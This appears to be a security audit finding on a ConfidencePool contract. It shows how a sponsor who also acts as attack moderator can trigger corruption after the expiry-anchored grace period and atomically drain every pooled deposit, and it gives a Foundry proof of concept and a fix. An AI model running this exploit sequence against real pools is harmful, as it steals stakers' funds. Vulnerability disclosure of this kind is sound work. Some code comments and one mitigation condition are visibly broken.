Root + Impact
The automatic CORRUPTED resolution in ConfidencePool.claimExpired() determines whether the moderator grace period has elapsed using the fixed expression:
expiry + MODERATOR_CORRUPTED_GRACE
However, the contract does not track when the agreement was first observed as CORRUPTED.
The pool sponsor can also remain the agreement's BattleChain attack moderator. Consequently, after the expiry-based grace period has already elapsed, a malicious sponsor can transition the agreement from UNDER_ATTACK to CORRUPTED, immediately invoke claimExpired(), and then call claimCorrupted() to transfer the pool's entire token balance to the sponsor-controlled recoveryAddress.
Because the sponsor can execute all three actions atomically, the immutable pool outcome moderator receives no opportunity to classify the corruption as good-faith, out-of-scope, or otherwise invalid for the pool.
Finding Description
Vulnerable Code
The issue is located in the automatic resolution branch of ConfidencePool.claimExpired():
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (
outcome != PoolStates.Outcome.UNRESOLVED
&& outcome != PoolStates.Outcome.EXPIRED
) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (
block.timestamp
< expiry + MODERATOR_CORRUPTED_GRACE
) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve =
snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}
}
}
The purpose of MODERATOR_CORRUPTED_GRACE is to give the pool outcome moderator time to determine:
-
whether the corruption affected an account covered by the pool;
-
whether the attack was performed in good faith;
-
which attacker should receive the bounty;
-
whether the agreement-level corruption was outside the pool's narrower scope.
The implementation does not actually guarantee that the moderator has 180 days after corruption occurs. Instead, the deadline is permanently anchored to the pool expiry, regardless of when the registry enters CORRUPTED.
Sponsor Controls the Corruption Trigger
ConfidencePoolFactory.createPool() requires the caller to be the agreement owner:
if (IAgreement(agreement).owner() != msg.sender) {
revert UnauthorizedCreator();
}
The same caller becomes the pool owner and chooses the pool's recoveryAddress:
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
Under the integrated BattleChain registry, an agreement is initially registered with its agreement owner as the agreement's attack moderator:
s_agreementInfo[agreementAddress] = AgreementInfo({
attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
The attack moderator can transition the agreement from UNDER_ATTACK or PROMOTION_REQUESTED to CORRUPTED:
function markCorrupted(
address agreementAddress
)
external
onlyAttackModerator(agreementAddress)
{
ContractState currentState =
_getAgreementState(agreementAddress);
if (
currentState != ContractState.UNDER_ATTACK
&& currentState
!= ContractState.PROMOTION_REQUESTED
) {
revert AttackRegistry__InvalidState(currentState);
}
s_agreementInfo[agreementAddress].corrupted = true;
}
Therefore, unless the attack moderator role has been transferred, the pool sponsor can control both:
when the agreement becomes CORRUPTED; and
where the Confidence Pool sends funds following a bad-faith corrupted resolution.
Exploit Sequence
Assume that the pool has an expiry of E.
The sponsor creates the pool and sets a sponsor-controlled address as recoveryAddress.
Stakers deposit principal and contributors deposit bonus funds.
The agreement enters UNDER_ATTACK, causing the pool to record a nonzero riskWindowStart.
The agreement remains in UNDER_ATTACK beyond the pool expiry.
No user resolves the pool before E + 180 days.
At or after E + 180 days, the sponsor calls markCorrupted() on the BattleChain attack registry.
In the same transaction, the sponsor calls claimExpired().
Because the grace check is based on E + 180 days, the newly created corruption is treated as if the pool moderator had already ignored it for 180 days.
claimExpired() immediately sets:
outcome = PoolStates.Outcome.CORRUPTED;
claimsStarted = true;
The sponsor calls claimCorrupted(), which transfers the pool's entire token balance to recoveryAddress:
uint256 toSweep =
stakeToken.balanceOf(address(this));
stakeToken.safeTransfer(recoveryAddress, toSweep);
Since claimsStarted is already true, the pool moderator cannot correct the classification through flagOutcome().
The sponsor can perform the final three operations atomically:
attackRegistry.markCorrupted(agreement);
pool.claimExpired();
pool.claimCorrupted();
The accepted design assumption documented for the automatic corruption backstop covers a moderator that remains unavailable throughout the grace period while the agreement is already corrupted.
It does not cover a sponsor manufacturing the CORRUPTED state only after the absolute grace deadline has passed. In this scenario, the moderator is not unavailable for 180 days; the moderator is given zero time to respond.
Risk
Likelihood:
A malicious pool sponsor can redirect all unresolved staker principal, bonus contributions, and any additional stake-token balance held by the pool to the sponsor-controlled recoveryAddress. After the automatic resolution sets claimsStarted, the legitimate pool moderator cannot correct the outcome or preserve the good-faith attacker-bounty path.
The impact is therefore a direct and potentially complete loss of user funds held by the affected pool.
Impact:
*Exploitation requires the pool to remain unresolved until at least expiry + 180 days, the agreement to remain in a state from which the sponsor can call markCorrupted(), and no staker or moderator to finalize the pool earlier. These conditions substantially reduce the frequency with which the attack can be executed.
Proof of Concept
pragma solidity 0.8.26;
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {
IConfidencePool
} from "src/interfaces/IConfidencePool.sol";
import {
PoolStates
} from "src/libraries/PoolStates.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract SponsorControlledAttackRegistry {
IAttackRegistry.ContractState internal currentState;
address internal immutable sponsor;
constructor(address sponsor_) {
sponsor = sponsor_;
currentState =
IAttackRegistry.ContractState.UNDER_ATTACK;
}
function markCorrupted(address) external {
require(
msg.sender == sponsor,
"not attack moderator"
);
require(
currentState
== IAttackRegistry.ContractState.UNDER_ATTACK
|| currentState
== IAttackRegistry.ContractState
.PROMOTION_REQUESTED,
"invalid registry state"
);
currentState =
IAttackRegistry.ContractState.CORRUPTED;
}
function getAgreementState(
address
)
external
view
returns (IAttackRegistry.ContractState)
{
return currentState;
}
}
contract SponsorLateCorruptionPoC
is BaseConfidencePoolTest
{
function test_SponsorCanCreateLateCorruptionAndAtomicallyDrainAllUnclaimedFunds()
external
{
* The BaseConfidencePoolTest owner is also the pool owner.
* This models the production factory flow in which the
* agreement owner creates the pool and becomes its owner.
*/
SponsorControlledAttackRegistry sponsorRegistry =
new SponsorControlledAttackRegistry(
address(this)
);
safeHarborRegistry.setAttackRegistry(
address(sponsorRegistry)
);
* The pool owner controls the recovery address.
*/
pool.setRecoveryAddress(address(this));
* Alice supplies 100 tokens of principal and Carol supplies
* 30 tokens of bonus.
*
* Because the registry is UNDER_ATTACK, stake() also records
* a nonzero riskWindowStart, satisfying the automatic
* CORRUPTED-resolution gate.
*/
_stake(alice, 100 * ONE);
_contributeBonus(carol, 30 * ONE);
assertEq(
token.balanceOf(address(pool)),
130 * ONE
);
assertGt(
pool.riskWindowStart(),
0,
"risk window was not recorded"
);
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.UNRESOLVED)
);
* Move beyond the fixed expiry-anchored moderator grace
* period.
*
* Importantly, the registry has not been CORRUPTED during
* the preceding 180 days.
*/
vm.warp(
uint256(pool.expiry())
+ pool.MODERATOR_CORRUPTED_GRACE()
);
uint256 sponsorBalanceBefore =
token.balanceOf(address(this));
* Atomic exploit:
*
* 1. The sponsor creates the CORRUPTED registry state only
* after the fixed grace deadline has elapsed.
*
* 2. claimExpired() immediately treats the brand-new
* corruption as eligible for the no-moderator fallback.
*
* 3. claimCorrupted() transfers the entire pool balance to
* the sponsor-controlled recovery address.
*/
sponsorRegistry.markCorrupted(agreement);
pool.claimExpired();
pool.claimCorrupted();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(
pool.claimsStarted(),
"mechanical resolution did not lock finality"
);
assertEq(
token.balanceOf(address(this))
- sponsorBalanceBefore,
130 * ONE,
"sponsor did not receive the full pool"
);
assertEq(
token.balanceOf(address(pool)),
0,
"pool was not fully drained"
);
assertEq(
token.balanceOf(alice),
0,
"staker unexpectedly recovered principal"
);
* The immutable pool moderator can no longer correct the
* result, even though it was given no reaction period after
* the agreement became CORRUPTED.
*/
vm.prank(moderator);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
}
}
Recommended Mitigation
The automatic corruption grace period should be anchored to the time at which the pool first observes the agreement in the CORRUPTED state, rather than exclusively to the pool expiry.
For example, introduce:
uint64 public firstCorruptedObservedAt;
When claimExpired() first observes CORRUPTED, it should record the observation without immediately finalizing the pool:
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (firstCorruptedObservedAt == 0) {
firstCorruptedObservedAt =
uint64(block.timestamp);
emit CorruptionObserved(
firstCorruptedObservedAt
);
return;
}
if (
block.timestamp
< uint256(firstCorruptedObservedAt)
+ MODERATOR_CORRUPTED_GRACE
) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve =
snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}
The first-observation branch must not revert after writing firstCorruptedObservedAt, because a revert would roll back the timestamp update.
A stronger solution would be for the BattleChain registry interface to expose the actual timestamp at which the agreement entered CORRUPTED. The pool should then require both:
and:
block.timestamp
>= corruptedAt + MODERATOR_CORRUPTED_GRACE
before allowing automatic bad-faith resolution.